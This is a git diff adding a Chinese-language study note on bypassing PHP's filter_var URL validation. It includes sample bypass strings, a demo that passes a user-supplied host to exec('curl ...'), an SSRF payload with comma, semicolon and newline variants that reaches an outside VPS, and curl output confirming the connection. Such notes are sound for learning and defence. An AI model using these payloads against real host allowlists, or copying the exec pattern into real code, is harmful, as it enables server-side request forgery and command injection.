|
| 1 | +(PHP 5 >= 5.2.0, PHP 7) |
| 2 | +filter_var — 使用特定的过滤器过滤一个变量 |
| 3 | + |
| 4 | + mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) |
| 5 | + |
| 6 | + |
| 7 | +常见的filter 过滤器 |
| 8 | +``` |
| 9 | +FILTER_VALIDATE_EMAIL |
| 10 | +FILTER_VALIDATE_DOMAIN |
| 11 | +FILTER_VALIDATE_IP |
| 12 | +FILTER_VALIDATE_URL |
| 13 | +``` |
| 14 | + |
| 15 | +比较常用的当属FILTER_VALIDATE_URL了吧,但是它存在很easy的绕过问题: |
| 16 | + |
| 17 | +随便给了两个实例都可以bypass |
| 18 | +``` |
| 19 | +<?php |
| 20 | +
|
| 21 | +$url = "javascript://alert(1)"; |
| 22 | +$url = "0://1"; |
| 23 | +if(filter_var($url,FILTER_VALIDATE_URL)){ |
| 24 | + echo 'Bypass it'; |
| 25 | +} |
| 26 | +``` |
| 27 | + |
| 28 | +### demo1 |
| 29 | + |
| 30 | +``` |
| 31 | +<?php |
| 32 | + $argv = $_GET['url']; |
| 33 | + echo "Argument: ".$argv."\n"; |
| 34 | + // check if argument is a valid URL |
| 35 | + if(filter_var($argv, FILTER_VALIDATE_URL)) { |
| 36 | + // parse URL |
| 37 | + $r = parse_url($argv); |
| 38 | + print_r($r); |
| 39 | + // check if host ends with baidu.com |
| 40 | + if(preg_match('/baidu\.com$/', $r['host'])) { |
| 41 | + // get page from URL |
| 42 | + exec('curl -v -s "'.$r['host'].'"', $a); |
| 43 | + print_r($a); |
| 44 | + } else { |
| 45 | + echo "Error: Host not allowed"; |
| 46 | + } |
| 47 | + } else { |
| 48 | + echo "Error: Invalid URL"; |
| 49 | + } |
| 50 | +
|
| 51 | +``` |
| 52 | + |
| 53 | +有三重验证,filter_var,parse_url,preg_match 的bypass |
| 54 | + |
| 55 | +在这篇文章: https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51 给出了绕过方法: |
| 56 | + |
| 57 | +``` |
| 58 | +url=0://www.blogsir.com.cn:80,baidu.com:80/ |
| 59 | +``` |
| 60 | + |
| 61 | +> 中间的逗号也可以换成 `;` `%0a` `%0d` |
| 62 | +
|
| 63 | +原理: |
| 64 | +``` |
| 65 | +许多URL结构保留一些特殊的字符用来表示特殊的含义,这些符号在URL中不同的位置有着其特殊的语义。字符“;”, “/”, “?”, “:”, “@”, “=” 和“&”是被保留的。除了分层路径中的点段,通用语法将路径段视为不透明。 生成URI的应用程序通常使用段中允许的保留字符来分隔。例如“;”和“=”用来分割参数和参数值。逗号也有着类似的作用。 |
| 66 | +
|
| 67 | +例如,有的结构使用name;v=1.1来表示name的version是1.1,然而还可以使用name,1.1来表示相同的意思。当然对于URL来说,这些保留的符号还是要看URL的算法来表示他们的作用。 |
| 68 | +
|
| 69 | +例如,如果用于hostname上,URL“http://evil.com;baidu.com”会被curl或者wget这样的工具解析为host:evil.com,querything:baidu.com |
| 70 | +``` |
| 71 | + |
| 72 | +这样我们就可以绕过限制访问到我们的vps上来了。 |
| 73 | + |
| 74 | +``` |
| 75 | +Argument: 0://www.blogsir.com.cn:80,baidu.com:80/ |
| 76 | +Array |
| 77 | +( |
| 78 | + [scheme] => 0 |
| 79 | + [host] => www.blogsir.com.cn:80,baidu.com |
| 80 | + [port] => 80 |
| 81 | + [path] => / |
| 82 | +) |
| 83 | +* Rebuilt URL to: www.blogsir.com.cn:80,baidu.com/ |
| 84 | +* Trying 123.206.65.167... |
| 85 | +* Connected to www.blogsir.com.cn (123.206.65.167) port 80 (#0) |
| 86 | +> GET / HTTP/1.1 |
| 87 | +> Host: www.blogsir.com.cn |
| 88 | +> User-Agent: curl/7.47.0 |
| 89 | +> Accept: */* |
| 90 | +``` |
| 91 | + |
| 92 | +参考: |
| 93 | + |
| 94 | +Some trick in ssrf and unserialize(): https://www.jianshu.com/p/80ce73919edb |
| 95 | +http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/ |
0 commit comments